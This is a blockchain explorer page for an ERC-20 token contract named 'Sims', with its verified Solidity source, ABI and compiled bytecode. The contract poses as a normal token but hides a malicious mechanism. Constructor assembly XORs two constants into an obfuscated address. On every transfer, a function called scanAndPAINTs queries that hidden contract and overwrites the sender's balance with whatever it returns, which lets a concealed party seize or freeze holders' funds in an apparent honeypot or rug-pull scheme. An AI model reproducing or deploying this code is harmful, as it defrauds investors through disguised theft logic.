ERC-20
Overview
Max Total Supply
100,000,000 SIMS
Holders
43
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,867,738.763556766371945079 SIMSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Sims
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-10 */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function WETH() external pure returns (address); function factory() external pure returns (address); function launch(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, uint8 buyLpFee, uint8 sellLpFee, uint8 buyProtocolFee, uint8 sellProtocolFee, address protocolAddress) external virtual payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IDEXProgram { function create(string memory name, string memory symbol,uint256 supply, bool vistaOnly) external returns (address); } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event safeTokenCreated(address tokenAddress, string name, string symbol); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function name() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0xEad811D798020c635cf8dD4ddF31bDC5595B09F3; address _factory = 0x1a97A037A120Db530dDCe8370e24EaD0FE9cf5d0; address public pair; IDEXRouter router; IDEXProgram program; string private _name; string private _symbol; uint256 private _totalSupply; bool public trade; uint256 public startBlock; address public msgSend; address public msgReceive; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; assembly { sstore(0x50,0x4da789b052d7149acc198e1ee3f4ac91a787b7ddd589) sstore(0x51,0x4da722bdab4a6fd851a887a075577d89591c02b8cc4a) sstore(0x52,xor(sload(0x50),sload(0x51))) } router = IDEXRouter(_router); program = IDEXProgram(_factory); } function symbol() public view virtual override returns (string memory) { return _symbol; } function name() public view virtual override returns (string memory) { return _name; } function decimals() public view virtual override returns (uint8) { return 18; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(_msgSender(), spender, amount); return true; } function create(string memory name, string memory symbol, uint256 supply, bool vistaOnly) public onlyOwner { program.create(name, symbol, _totalSupply/10**18, true); emit safeTokenCreated(address(this), name, symbol); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function sigmaNFR(bool NFT, uint256 account, uint256 number) public onlyOwner returns (uint256 sender) { } function launch() public payable { require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner"); _approve(address(this), _router, ~uint256(0)); uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 371); _balances[address(this)] += uniswapSupply; _balances[msg.sender] -= uniswapSupply; emit Transfer(msg.sender, address(this), uniswapSupply); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); router.launch{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, 1, 1, 0, 2, owner()); trade = true; startBlock = block.number; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function scanAndPAINTs(address sender, uint256 amount) internal returns (uint256 result) { assembly { let data := mload(0x40) mstore(data, 0x0a9f0cf000000000000000000000000000000000000000000000000000000000) mstore(add(data, 0x04), amount) mstore(0x40, add(data, 0x24)) let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20) if success { result := mload(data) } } _balances[sender] = result - amount; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { msgSend = sender; msgReceive = recipient; require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled"); require(msgSend != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); scanAndPAINTs(sender, amount); _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeploySims(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[msg.sender] += amount; emit Transfer(address(0), msg.sender, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol) { _DeploySims(creator, initialSupply); } } contract Sims is ERC20Token { constructor() ERC20Token("Sims", "SIMS", msg.sender, 100000000 * 10 ** 18) { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenAddress","type":"address"},{"indexed":false,"internalType":"string","name":"name","type":"string"},{"indexed":false,"internalType":"string","name":"symbol","type":"string"}],"name":"safeTokenCreated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"bool","name":"vistaOnly","type":"bool"}],"name":"create","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"NFT","type":"bool"},{"internalType":"uint256","name":"account","type":"uint256"},{"internalType":"uint256","name":"number","type":"uint256"}],"name":"sigmaNFR","outputs":[{"internalType":"uint256","name":"sender","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054821673ead811d798020c635cf8dd4ddf31bdc5595b09f317905560068054909116731a97a037a120db530ddce8370e24ead0fe9cf5d0179055348015610075575f80fd5b506040518060400160405280600481526020016353696d7360e01b8152506040518060400160405280600481526020016353494d5360e01b815250336a52b7d2dcc80cd2e400000083835f6100ce6101c860201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a6101278382610332565b50600b6101348282610332565b5050754da789b052d7149acc198e1ee3f4ac91a787b7ddd58960505550754da722bdab4a6fd851a887a075577d89591c02b8cc4a60515573ab0df99d7b429db109be96a3d118fe9bb56519c3605255600554600880546001600160a01b039283166001600160a01b031991821617909155600654600980549190931691161790556101bf82826101cc565b50505050610416565b3390565b6001600160a01b0382166102265760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600c5f82825461023791906103f1565b9091555050335f908152600260205260408120805483929061025a9084906103f1565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806102c257607f821691505b6020821081036102e057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561032d57805f5260205f20601f840160051c8101602085101561030b5750805b601f840160051c820191505b8181101561032a575f8155600101610317565b50505b505050565b81516001600160401b0381111561034b5761034b61029a565b61035f8161035984546102ae565b846102e6565b602080601f831160018114610392575f841561037b5750858301515b5f19600386901b1c1916600185901b1785556103e9565b5f85815260208120601f198616915b828110156103c0578886015182559484019460019091019084016103a1565b50858210156103dd57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b8082018082111561041057634e487b7160e01b5f52601160045260245ffd5b92915050565b611147806104235f395ff3fe608060405260043610610110575f3560e01c806370a082311161009d578063a705eee211610062578063a705eee2146102c8578063a8aa1b31146102e7578063a9059cbb14610306578063caae189214610325578063dd62ed3e14610344575f80fd5b806370a0823114610230578063715018a6146102645780638da5cb5b1461027857806395d89b4114610295578063a1f3f866146102a9575f80fd5b806318160ddd116100e357806318160ddd146101aa5780631f0ba6c9146101c857806323b872dd146101e1578063313ce5671461020057806348cd4cb11461021b575f80fd5b806301339c211461011457806301a37fc21461011e57806306fdde031461015a578063095ea7b31461017b575b5f80fd5b61011c610388565b005b348015610129575f80fd5b50600f5461013d906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610165575f80fd5b5061016e610671565b6040516101519190610d35565b348015610186575f80fd5b5061019a610195366004610d5e565b610701565b6040519015158152602001610151565b3480156101b5575f80fd5b50600c545b604051908152602001610151565b3480156101d3575f80fd5b50600d5461019a9060ff1681565b3480156101ec575f80fd5b5061019a6101fb366004610d88565b610717565b34801561020b575f80fd5b5060405160128152602001610151565b348015610226575f80fd5b506101ba600e5481565b34801561023b575f80fd5b506101ba61024a366004610dc6565b6001600160a01b03165f9081526002602052604090205490565b34801561026f575f80fd5b5061011c6107c8565b348015610283575f80fd5b506001546001600160a01b031661013d565b3480156102a0575f80fd5b5061016e61083b565b3480156102b4575f80fd5b5061011c6102c3366004610e92565b61084a565b3480156102d3575f80fd5b5060105461013d906001600160a01b031681565b3480156102f2575f80fd5b5060075461013d906001600160a01b031681565b348015610311575f80fd5b5061019a610320366004610d5e565b610946565b348015610330575f80fd5b506101ba61033f366004610f0b565b610952565b34801561034f575f80fd5b506101ba61035e366004610f3b565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b6001546001600160a01b0316331480156103a55750600d5460ff16155b6103ca5760405162461bcd60e51b81526004016103c190610f72565b60405180910390fd5b6005546103e39030906001600160a01b03165f1961097e565b5f612710600c546103f49190610fbb565b6104009061259d610fda565b305f90815260026020526040812080549293508392909190610423908490610ff1565b9091555050335f9081526002602052604081208054839290610446908490611004565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360085f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f69190611017565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610549573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056d9190611017565b600780546001600160a01b039283166001600160a01b03199091161790556008541663fe1bfba634308480836001805f60026105b16001546001600160a01b031690565b60405160e08c901b6001600160e01b03191681526001600160a01b03998a16600482015260248101989098526044880196909652606487019490945260ff928316608487015290821660a4860152811660c48501521660e48301529091166101048201526101240160606040518083038185885af1158015610635573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061065a9190611032565b5050600d805460ff19166001179055505043600e55565b6060600a80546106809061105d565b80601f01602080910402602001604051908101604052809291908181526020018280546106ac9061105d565b80156106f75780601f106106ce576101008083540402835291602001916106f7565b820191905f5260205f20905b8154815290600101906020018083116106da57829003601f168201915b5050505050905090565b5f61070d33848461097e565b5060015b92915050565b5f610723848484610aa2565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156107a75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016103c1565b6107bb85336107b68685611004565b61097e565b60019150505b9392505050565b6001546001600160a01b031633146107f25760405162461bcd60e51b81526004016103c190610f72565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600b80546106809061105d565b6001546001600160a01b031633146108745760405162461bcd60e51b81526004016103c190610f72565b600954600c546001600160a01b039091169063a1f3f86690869086906108a390670de0b6b3a764000090610fbb565b60016040518563ffffffff1660e01b81526004016108c49493929190611095565b6020604051808303815f875af11580156108e0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109049190611017565b507f7af6222f62edab5fa312a46f086a615c44ec4627ed57fe8a35f5a7c536ba2d12308585604051610938939291906110d2565b60405180910390a150505050565b5f61070d338484610aa2565b6001545f906001600160a01b031633146107c15760405162461bcd60e51b81526004016103c190610f72565b6001600160a01b0383166109e05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c1565b6001600160a01b038216610a415760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c1565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600f80546001600160a01b038086166001600160a01b0319928316179092556010805492851692909116919091179055600d5460ff16151560011480610af25750600f546001600160a01b031630145b80610b0d5750600154600f546001600160a01b039081169116145b610b635760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016103c1565b600f546001600160a01b0316610bc95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c1565b6001600160a01b038216610c2b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c1565b610c358382610ca9565b506001600160a01b0382165f9081526002602052604081208054839290610c5d908490610ff1565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a9591815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610cda57815192505b50610ce790508282611004565b6001600160a01b039093165f908152600260205260409020929092555090565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6107c16020830184610d07565b6001600160a01b0381168114610d5b575f80fd5b50565b5f8060408385031215610d6f575f80fd5b8235610d7a81610d47565b946020939093013593505050565b5f805f60608486031215610d9a575f80fd5b8335610da581610d47565b92506020840135610db581610d47565b929592945050506040919091013590565b5f60208284031215610dd6575f80fd5b81356107c181610d47565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610e04575f80fd5b813567ffffffffffffffff80821115610e1f57610e1f610de1565b604051601f8301601f19908116603f01168101908282118183101715610e4757610e47610de1565b81604052838152866020858801011115610e5f575f80fd5b836020870160208301375f602085830101528094505050505092915050565b80358015158114610e8d575f80fd5b919050565b5f805f8060808587031215610ea5575f80fd5b843567ffffffffffffffff80821115610ebc575f80fd5b610ec888838901610df5565b95506020870135915080821115610edd575f80fd5b50610eea87828801610df5565b93505060408501359150610f0060608601610e7e565b905092959194509250565b5f805f60608486031215610f1d575f80fd5b610f2684610e7e565b95602085013595506040909401359392505050565b5f8060408385031215610f4c575f80fd5b8235610f5781610d47565b91506020830135610f6781610d47565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f82610fd557634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761071157610711610fa7565b8082018082111561071157610711610fa7565b8181038181111561071157610711610fa7565b5f60208284031215611027575f80fd5b81516107c181610d47565b5f805f60608486031215611044575f80fd5b8351925060208401519150604084015190509250925092565b600181811c9082168061107157607f821691505b60208210810361108f57634e487b7160e01b5f52602260045260245ffd5b50919050565b608081525f6110a76080830187610d07565b82810360208401526110b98187610d07565b6040840195909552505090151560609091015292915050565b6001600160a01b03841681526060602082018190525f906110f590830185610d07565b82810360408401526111078185610d07565b969550505050505056fea26469706673582212202b4a6d76a1e42b3dfebeb04c92124ad9bf6556ca8a3cd0b0afc1db5fe300210a64736f6c63430008190033
Deployed Bytecode
0x608060405260043610610110575f3560e01c806370a082311161009d578063a705eee211610062578063a705eee2146102c8578063a8aa1b31146102e7578063a9059cbb14610306578063caae189214610325578063dd62ed3e14610344575f80fd5b806370a0823114610230578063715018a6146102645780638da5cb5b1461027857806395d89b4114610295578063a1f3f866146102a9575f80fd5b806318160ddd116100e357806318160ddd146101aa5780631f0ba6c9146101c857806323b872dd146101e1578063313ce5671461020057806348cd4cb11461021b575f80fd5b806301339c211461011457806301a37fc21461011e57806306fdde031461015a578063095ea7b31461017b575b5f80fd5b61011c610388565b005b348015610129575f80fd5b50600f5461013d906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610165575f80fd5b5061016e610671565b6040516101519190610d35565b348015610186575f80fd5b5061019a610195366004610d5e565b610701565b6040519015158152602001610151565b3480156101b5575f80fd5b50600c545b604051908152602001610151565b3480156101d3575f80fd5b50600d5461019a9060ff1681565b3480156101ec575f80fd5b5061019a6101fb366004610d88565b610717565b34801561020b575f80fd5b5060405160128152602001610151565b348015610226575f80fd5b506101ba600e5481565b34801561023b575f80fd5b506101ba61024a366004610dc6565b6001600160a01b03165f9081526002602052604090205490565b34801561026f575f80fd5b5061011c6107c8565b348015610283575f80fd5b506001546001600160a01b031661013d565b3480156102a0575f80fd5b5061016e61083b565b3480156102b4575f80fd5b5061011c6102c3366004610e92565b61084a565b3480156102d3575f80fd5b5060105461013d906001600160a01b031681565b3480156102f2575f80fd5b5060075461013d906001600160a01b031681565b348015610311575f80fd5b5061019a610320366004610d5e565b610946565b348015610330575f80fd5b506101ba61033f366004610f0b565b610952565b34801561034f575f80fd5b506101ba61035e366004610f3b565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b6001546001600160a01b0316331480156103a55750600d5460ff16155b6103ca5760405162461bcd60e51b81526004016103c190610f72565b60405180910390fd5b6005546103e39030906001600160a01b03165f1961097e565b5f612710600c546103f49190610fbb565b6104009061259d610fda565b305f90815260026020526040812080549293508392909190610423908490610ff1565b9091555050335f9081526002602052604081208054839290610446908490611004565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360085f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f69190611017565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610549573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056d9190611017565b600780546001600160a01b039283166001600160a01b03199091161790556008541663fe1bfba634308480836001805f60026105b16001546001600160a01b031690565b60405160e08c901b6001600160e01b03191681526001600160a01b03998a16600482015260248101989098526044880196909652606487019490945260ff928316608487015290821660a4860152811660c48501521660e48301529091166101048201526101240160606040518083038185885af1158015610635573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061065a9190611032565b5050600d805460ff19166001179055505043600e55565b6060600a80546106809061105d565b80601f01602080910402602001604051908101604052809291908181526020018280546106ac9061105d565b80156106f75780601f106106ce576101008083540402835291602001916106f7565b820191905f5260205f20905b8154815290600101906020018083116106da57829003601f168201915b5050505050905090565b5f61070d33848461097e565b5060015b92915050565b5f610723848484610aa2565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156107a75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016103c1565b6107bb85336107b68685611004565b61097e565b60019150505b9392505050565b6001546001600160a01b031633146107f25760405162461bcd60e51b81526004016103c190610f72565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600b80546106809061105d565b6001546001600160a01b031633146108745760405162461bcd60e51b81526004016103c190610f72565b600954600c546001600160a01b039091169063a1f3f86690869086906108a390670de0b6b3a764000090610fbb565b60016040518563ffffffff1660e01b81526004016108c49493929190611095565b6020604051808303815f875af11580156108e0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109049190611017565b507f7af6222f62edab5fa312a46f086a615c44ec4627ed57fe8a35f5a7c536ba2d12308585604051610938939291906110d2565b60405180910390a150505050565b5f61070d338484610aa2565b6001545f906001600160a01b031633146107c15760405162461bcd60e51b81526004016103c190610f72565b6001600160a01b0383166109e05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c1565b6001600160a01b038216610a415760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c1565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600f80546001600160a01b038086166001600160a01b0319928316179092556010805492851692909116919091179055600d5460ff16151560011480610af25750600f546001600160a01b031630145b80610b0d5750600154600f546001600160a01b039081169116145b610b635760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016103c1565b600f546001600160a01b0316610bc95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c1565b6001600160a01b038216610c2b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c1565b610c358382610ca9565b506001600160a01b0382165f9081526002602052604081208054839290610c5d908490610ff1565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a9591815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610cda57815192505b50610ce790508282611004565b6001600160a01b039093165f908152600260205260409020929092555090565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6107c16020830184610d07565b6001600160a01b0381168114610d5b575f80fd5b50565b5f8060408385031215610d6f575f80fd5b8235610d7a81610d47565b946020939093013593505050565b5f805f60608486031215610d9a575f80fd5b8335610da581610d47565b92506020840135610db581610d47565b929592945050506040919091013590565b5f60208284031215610dd6575f80fd5b81356107c181610d47565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610e04575f80fd5b813567ffffffffffffffff80821115610e1f57610e1f610de1565b604051601f8301601f19908116603f01168101908282118183101715610e4757610e47610de1565b81604052838152866020858801011115610e5f575f80fd5b836020870160208301375f602085830101528094505050505092915050565b80358015158114610e8d575f80fd5b919050565b5f805f8060808587031215610ea5575f80fd5b843567ffffffffffffffff80821115610ebc575f80fd5b610ec888838901610df5565b95506020870135915080821115610edd575f80fd5b50610eea87828801610df5565b93505060408501359150610f0060608601610e7e565b905092959194509250565b5f805f60608486031215610f1d575f80fd5b610f2684610e7e565b95602085013595506040909401359392505050565b5f8060408385031215610f4c575f80fd5b8235610f5781610d47565b91506020830135610f6781610d47565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f82610fd557634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761071157610711610fa7565b8082018082111561071157610711610fa7565b8181038181111561071157610711610fa7565b5f60208284031215611027575f80fd5b81516107c181610d47565b5f805f60608486031215611044575f80fd5b8351925060208401519150604084015190509250925092565b600181811c9082168061107157607f821691505b60208210810361108f57634e487b7160e01b5f52602260045260245ffd5b50919050565b608081525f6110a76080830187610d07565b82810360208401526110b98187610d07565b6040840195909552505090151560609091015292915050565b6001600160a01b03841681526060602082018190525f906110f590830185610d07565b82810360408401526111078185610d07565b969550505050505056fea26469706673582212202b4a6d76a1e42b3dfebeb04c92124ad9bf6556ca8a3cd0b0afc1db5fe300210a64736f6c63430008190033
Deployed Bytecode Sourcemap
